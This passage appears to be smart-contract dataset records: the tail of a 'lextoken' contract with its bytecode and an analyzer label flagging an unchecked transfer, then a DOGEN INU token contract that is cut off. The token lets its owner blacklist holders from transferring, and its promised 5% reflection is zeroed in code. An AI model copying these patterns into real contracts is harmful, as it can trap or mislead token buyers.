uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external {
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
}
|
0x6080604052600436106101e75760003560e01c8063481c6a75116101025780637c88e3d911610095578063a457c2d711610064578063a457c2d714610c12578063a9059cbb14610c4b578063bb102aea14610c84578063d505accf14610c99576102e3565b80637c88e3d914610aea5780637ecebe0014610bb557806392ff0d3114610be857806395d89b4114610bfd576102e3565b806364629ff7116100d157806364629ff7146108e857806370a082311461092857806379cc67901461095b5780637a0c21ee14610994576102e3565b8063481c6a751461083b57806355b6ed5c1461086c578063565974d3146108a757806361d3458f146108bc576102e3565b8063313ce5671161017a57806340557cf11161014957806340557cf1146107ae57806340c10f19146107c357806342966c68146107fc578063466ccac014610826576102e3565b8063313ce5671461066a5780633644e5151461069557806339509351146106aa5780633b3e672f146106e3576102e3565b806321af8235116101b657806321af82351461050557806323b872dd1461059057806324b76fd5146105d357806330adf81f14610655576102e3565b806306fdde03146102e8578063095ea7b31461037257806318160ddd146103bf5780631d809a79146103e6576102e3565b366102e35760085460ff1661022e576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461027b576040519150601f19603f3d011682016040523d82523d6000602084013e610280565b606091505b50509050806102c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102e030336102db60015434610cf790919063ffffffff16565b610d27565b50005b600080fd5b3480156102f457600080fd5b506102fd610dd5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561033757818101518382015260200161031f565b50505050905090810190601f1680156103645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037e57600080fd5b506103ab6004803603604081101561039557600080fd5b506001600160a01b038135169060200135610e63565b604080519115158252519081900360200190f35b3480156103cb57600080fd5b506103d4610e79565b60408051918252519081900360200190f35b3480156103f257600080fd5b506105036004803603608081101561040957600080fd5b810190602081018135600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919390929091602081019035600160201b81111561047357600080fd5b82018360208201111561048557600080fd5b803590602001918460208302840111600160201b831117156104a657600080fd5b919390929091602081019035600160201b8111156104c357600080fd5b8201836020820111156104d557600080fd5b803590602001918460208302840111600160201b831117156104f657600080fd5b9193509150351515610e7f565b005b34801561051157600080fd5b506105036004803603604081101561052857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b5090925090506110b3565b34801561059c57600080fd5b506103ab600480360360608110156105b357600080fd5b506001600160a01b03813581169160208101359091169060400135611194565b3480156105df57600080fd5b50610503600480360360408110156105f657600080fd5b81359190810190604081016020820135600160201b81111561061757600080fd5b82018360208201111561062957600080fd5b803590602001918460018302840111600160201b8311171561064a57600080fd5b509092509050611233565b34801561066157600080fd5b506103d46112a2565b34801561067657600080fd5b5061067f6112c6565b6040805160ff9092168252519081900360200190f35b3480156106a157600080fd5b506103d46112d6565b3480156106b657600080fd5b506103ab600480360360408110156106cd57600080fd5b506001600160a01b0381351690602001356112dc565b3480156106ef57600080fd5b506105036004803603604081101561070657600080fd5b810190602081018135600160201b81111561072057600080fd5b82018360208201111561073257600080fd5b803590602001918460208302840111600160201b8311171561075357600080fd5b919390929091602081019035600160201b81111561077057600080fd5b82018360208201111561078257600080fd5b803590602001918460208302840111600160201b831117156107a357600080fd5b509092509050611312565b3480156107ba57600080fd5b506103d46113f1565b3480156107cf57600080fd5b50610503600480360360408110156107e657600080fd5b506001600160a01b0381351690602001356113f7565b34801561080857600080fd5b506105036004803603602081101561081f57600080fd5b503561144f565b34801561083257600080fd5b506103ab61145c565b34801561084757600080fd5b50610850611465565b604080516001600160a01b039092168252519081900360200190f35b34801561087857600080fd5b506103d46004803603604081101561088f57600080fd5b506001600160a01b0381358116916020013516611474565b3480156108b357600080fd5b506102fd611491565b3480156108c857600080fd5b50610503600480360360208110156108df57600080fd5b503515156114ec565b3480156108f457600080fd5b506105036004803603608081101561090b57600080fd5b508035906020810135906040810135151590606001351515611587565b34801561093457600080fd5b506103d46004803603602081101561094b57600080fd5b50356001600160a01b031661166b565b34801561096757600080fd5b506105036004803603604081101561097e57600080fd5b506001600160a01b03813516906020013561167d565b3480156109a057600080fd5b5061050360048036036101608110156109b857600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a0257600080fd5b820183602082011115610a1457600080fd5b803590602001918460018302840111600160201b83111715610a3557600080fd5b919390929091602081019035600160201b811115610a5257600080fd5b820183602082011115610a6457600080fd5b803590602001918460018302840111600160201b83111715610a8557600080fd5b919390929091602081019035600160201b811115610aa257600080fd5b820183602082011115610ab457600080fd5b803590602001918460018302840111600160201b83111715610ad557600080fd5b919350915080351515906020013515156116bc565b348015610af657600080fd5b5061050360048036036040811015610b0d57600080fd5b810190602081018135600160201b811115610b2757600080fd5b820183602082011115610b3957600080fd5b803590602001918460208302840111600160201b83111715610b5a57600080fd5b919390929091602081019035600160201b811115610b7757600080fd5b820183602082011115610b8957600080fd5b803590602001918460208302840111600160201b83111715610baa57600080fd5b5090925090506118de565b348015610bc157600080fd5b506103d460048036036020811015610bd857600080fd5b50356001600160a01b03166119b2565b348015610bf457600080fd5b506103ab6119c4565b348015610c0957600080fd5b506102fd6119d3565b348015610c1e57600080fd5b506103ab60048036036040811015610c3557600080fd5b506001600160a01b038135169060200135611a2e565b348015610c5757600080fd5b506103ab60048036036040811015610c6e57600080fd5b506001600160a01b038135169060200135611a64565b348015610c9057600080fd5b506103d4611abf565b348015610ca557600080fd5b50610503600480360360e0811015610cbc57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611ac5565b600082610d0657506000610d21565b82820282848281610d1357fe5b0414610d1e57600080fd5b90505b92915050565b6001600160a01b0383166000908152600a6020526040902054610d4a9082611ca9565b6001600160a01b038085166000908152600a60205260408082209390935590841681522054610d799082611cbe565b6001600160a01b038084166000818152600a602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b6000610e70338484611cd0565b50600192915050565b60025481565b6000546001600160a01b03163314610ec9576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610ed757508582145b610f28576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b868110156110a9576000848483818110610f4157fe5b9050602002013590508215610fe757888883818110610f5c57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fb857600080fd5b505afa158015610fcc573d6000803e3d6000fd5b505050506040513d6020811015610fe257600080fd5b505190505b888883818110610ff357fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061101d57fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b505050506040513d602081101561109e57600080fd5b505050600101610f2b565b5050505050505050565b6000546001600160a01b031633146110fd576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561112460058383611ea0565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60085460009062010000900460ff166111e4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602090815260408083203380855292529091205461121e9186916112199086611ca9565b611cd0565b611229848484610d27565b5060019392505050565b61123d3384611d32565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611cbe565b828114611352576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60085462010000900460ff1661139f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156113ea576113e2338686848181106113ba57fe5b905060200201356001600160a01b03168585858181106113d657fe5b90506020020135610d27565b6001016113a2565b5050505050565b60015481565b6000546001600160a01b03163314611441576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61144b8282611dc3565b5050565b6114593382611d32565b50565b60085460ff1681565b6000546001600160a01b031681565b600960209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b6000546001600160a01b03163314611536576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6008805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b031633146115d1576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556008805460ff191682151517905582158015906115f05750815b156115ff576115ff3084611d32565b60008311801561160d575081155b1561161c5761161c3084611dc3565b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b600a6020526000908152604090205481565b6001600160a01b0382166000908152600960209081526040808320338085529252909120546116b29184916112199085611ca9565b61144b8282611d32565b600854610100900460ff1615611707576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a60018190555088600381905550878760059190611767929190611ea0565b5061177460068787611ea0565b5061178160078585611ea0565b506008805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b156117ba576117ba8e8d611dc3565b89156117ca576117ca308b611dc3565b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6006604051808280546001816001161561010002031660029004801561184d5780601f1061182b57610100808354040283529182019161184d565b820191906000526020600020905b815481529060010190602001808311611839575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611928576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611968576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b838110156113ea576119aa85858381811061198257fe5b905060200201356001600160a01b031684848481811061199e57fe5b90506020020135611dc3565b60010161196b565b600b6020526000908152604090205481565b60085462010000900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611ca9565b60085460009062010000900460ff16611ab4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610e70338484610d27565b60035481565b84421115611b04576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600b602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018a905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611c21573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611c575750896001600160a01b0316816001600160a01b0316145b611c92576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611c9d8a8a89611cd0565b50505050505050505050565b600082821115611cb857600080fd5b50900390565b600082820183811015610d1e57600080fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600a6020526040902054611d559082611ca9565b6001600160a01b0383166000908152600a6020526040902055600254611d7b9082611ca9565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600354600254611dd39083611cbe565b1115611e0f576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020526040902054611e329082611cbe565b6001600160a01b0383166000908152600a6020526040902055600254611e589082611cbe565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611ed65760008555611f1c565b82601f10611eef5782800160ff19823516178555611f1c565b82800160010185558215611f1c579182015b82811115611f1c578235825591602001919060010190611f01565b50611f28929150611f2c565b5090565b5b80821115611f285760008155600101611f2d56fea264697066735822122068358435638673d13746343b40fe2a7a22ce3ab5190b187d2f2e2de69c0674a764736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,368 |
0xfb4aa6d95e88cf9a57dc70d6aabdc1121b70622e
|
// SPDX-License-Identifier: UNLICENSED
/*
DOGENINU is DOGE mix DEGEN play in ERC-20.
Tokenomics
Total Supply: 10 Billion
Total Tax: 12%
5% Reflection
4% Team and Marketing
3% Token Burn
Telegram: https://t.me/dogeninu
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOGEN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "DOGEN INU";
string private constant _symbol = "DOGENINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x84bFe537AffEEB2a3b0e80a9EAf0C24502A1bDa8);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
